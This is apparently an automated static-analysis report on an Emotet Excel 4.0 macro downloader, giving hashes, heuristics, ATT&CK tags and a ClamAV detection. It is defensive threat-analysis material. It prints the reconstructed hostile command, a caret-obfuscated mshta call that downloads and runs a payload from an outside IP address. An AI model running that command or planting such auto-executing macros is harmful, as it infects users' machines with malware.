Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 c0bdcb5bc9452990…

MALICIOUS

Office (OLE) / .XLSX

127.6 KB Created: 2022-01-17 21:27:03 Authoring application: Microsoft Excel
MD5: cb08245714dbf3d6dea4f6f2dc4e7f04 SHA-1: 5fef467329234184c206f2da47e47d02abe50db6 SHA-256: c0bdcb5bc94529906c63365cec6d08f576fddd0d78a93d487147c88c58816b45
140 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Service Execution: Visual Basic T1204.002 Malicious File Execution: Malicious Script

The file contains an Excel 4.0 macro sheet with an Auto_Open entry, a known technique for Emotet. The macro reconstructs and executes the command 'cmd /c msh^t^a http://195.42.116.245/cc.html', which is designed to download and execute a second-stage payload from the specified URL. The ClamAV signature also confirms this is likely an Emotet downloader.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • ClamAV: Doc.Downloader.EmotetExcel01220-9936774-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetExcel01220-9936774-0
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
a0fd1b709c0182b7bfad87bd5382ad41592e9af0d0093f5e68d1ff145f18d235
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 653 bytes